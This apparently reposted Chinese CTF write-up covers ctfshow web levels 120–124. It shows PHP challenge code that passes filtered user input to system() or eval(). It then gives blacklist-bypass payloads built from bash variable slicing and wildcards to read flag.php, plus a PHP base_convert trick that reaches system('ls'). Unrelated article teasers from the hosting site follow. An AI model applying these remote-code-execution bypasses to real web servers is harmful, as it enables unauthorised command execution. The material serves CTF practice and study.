    ${PWD::${#?}}???${PWD::${#?}}?${USER:~${#}}${USER:~${#SHLVL}:${#SHLVL}}${IFS}????.???

web120

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

有长度限制payload长度不能大于65,过滤PATH|BASH|HOME

  1. 看着依旧是BASH内置变量RCE,尝试了上一关的payload不过超长度限制了

    ${PWD::${#?}}???${PWD::${#?}}??${USER:~${#SHLVL}:${#?}} ????.???
    // 稍微修改一下
    

web121

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?> 

USER,SHLVL 不能使用了,可以构造 /bin/base64 flag.php

payload : ${PWD::${#?}}???${PWD::${#?}}?????${#$RANDOM} ????.???

${#$RANDOM} 为四位数的时候即可,多发送几次

web122


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

PWD是用不了了,但是HOME可以用了,不是哥们?#,~也用不了

找到了个新特性来构造1,那就是$?

$?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

<A返回的错误值 使得$?为1,

payload: <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

要多尝试几次

web124


error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

白名单函数:

abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'
base_convert  		#在任意进制之间转换数字。
hexdec 			 #把十六进制转换为十进制。
dechex 			#把十进制转换为十六进制。
hex2bin  		#把十六进制的字符串转换为ASCII码

思路:

参考:https://blog.csdn.net/Kracxi/article/details/121758970#:~:text=CTFshow 命令

// 把 hex2bin转化为10进制
echo base_convert("hex2bin", 36, 16);   //37907361743
echo "<br>";
echo base_convert("8d3746fcf", 16, 36);  //hex2bin
echo "<br>";
//把_GET 先转为16进制再转为10进制
echo hexdec(bin2hex("_GET"));  //1598506324
echo "<br>";
echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324"));  // 绕过过滤拿到 "_GET"

构造代码:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
// 相当于 
?c=$pi='_GET';$$pi{abs}($$pi{acos})&abs=system&acos=ls

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/798272.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ComfyUI 基础教程(五) —— 应用 IP-Adapter 实现图像风格迁移

来吧,理解 IP-Adapter。中秋假期,又可以玩玩 AI 了。前面介绍了 ComfyUI 的 Lora 模型以及 ControlNet,本文介绍另一个非常重要且使用的节点,IP-Adapter。 一、 IP-Adapter 概念 1.1 IPAdapter 的介绍 IP-Adapter 的是腾讯 ailab 实验室发布的一个 Stable Diffusion 的适配…

创建一个虚拟机

需要一个iso文件(镜像)

白云龙期货投资-第四讲

趋势线波浪理论总结: 1.一般行情完成一次阶段性的上涨或者下跌都会通过三波来完成; 2.这三波上涨和下跌的时间空间,经常同等 3.可以利用波浪理论以上两个特性来判断和预测,还会有几次的上涨或者下跌行情,以及每次大概运行的时间及空间 三种常用实用突破法 1.早盘30mins突破…

中秋 -2024/9/16

今天是中秋假期的第二天,已经过了2/3了,怎么俺滴中秋这么快就没了 今天学习了SQL语句种的查询聚合函数进行查询和Java种的集合 TreeSet,HashSet,LinkedHashSet DQL-聚合函数介绍:将一列数据作为一个整体,进行纵向计算 常见聚合函数count - 统计数量 max - 最大值 min - 最小值 …

李尚杰的第一次作业

这次作业属于哪个课程 https://edu.cnblogs.com/campus/zjlg/rjjc这个作业的目标 熟悉博客的建立,向老师/助教介绍自己并阐述对课程的期待姓名-学号 李尚杰-2022329301146一、个人简介 (一)基本介绍我叫李尚杰,来自22自动化1班,浙江杭州人。我爱好摄影、旅游、看电影、健身…

数木莫系且的旭酱买水问题

dut开区用,在别的情况下该博客无效数木莫系且的旭酱买水问题 创中的招新又双叒叕开始了,“数木莫系且”要开始出招新题了,“数木莫系且”的36位老东西为了想招新题整天废寝忘食、绞尽脑汁、抓耳挠腮、呕心沥血,甚至连水都忘记喝了。“数木莫系且“的不时用日语小声发癫的旭…

字符编码发展史1 — ASCII和EASCII

1. 字符集与字符编码1.1. 字符集 1.2. 字符编码 1.3. 两者的关系2. 字符编码的发展历史2.1. 第一个阶段 ASCII编码2.1.1. ASCII 2.1.2. EASCII1. 字符集与字符编码 1.1. 字符集 字符集(Charcater Set或Charset): 是一个系统支持的所有抽象字符的集合,也就是一系列字符的集合…

[JVM]对象创建过程

Java 对象的创建过程 Java对象创建的过程主要分为五个步骤,下面我将详细介绍这五个步骤。 Step1:类加载检查 虚拟机遇到一条new指令时,首先会去检查这个指令的参数是否能在常量池中定位到这个类的符号引用,并且会检查这个符号引用所指向的类是否已经完成加载、连接和初始化,…

教小模型进行推理

https://arxiv.org/abs/2212.08410 思维链提示在基础层面上是如此成功,以至于它产生了一些被称为 x 链现象的东西。谷歌研究院探索了如何使用 llm 为现有数据集生成 CoT 数据本体,然后如何在 CoT 上微调较小的语言模型。 介绍 众所周知,思维链提示提高了大型语言模型的推理能…

[WesternCTF2018]shrine

打开题目就得到了python代码 import flask import os #导包 app = flask.Flask(__name__) #创建一个flask实例, app.config[FLAG] = os.environ.pop(FLAG) #从操作系统的环境变量中读取名为FLAG的值,并将其存储在Flask的配置中,POP:读取后删除该环境变量@app.route(/) #定义…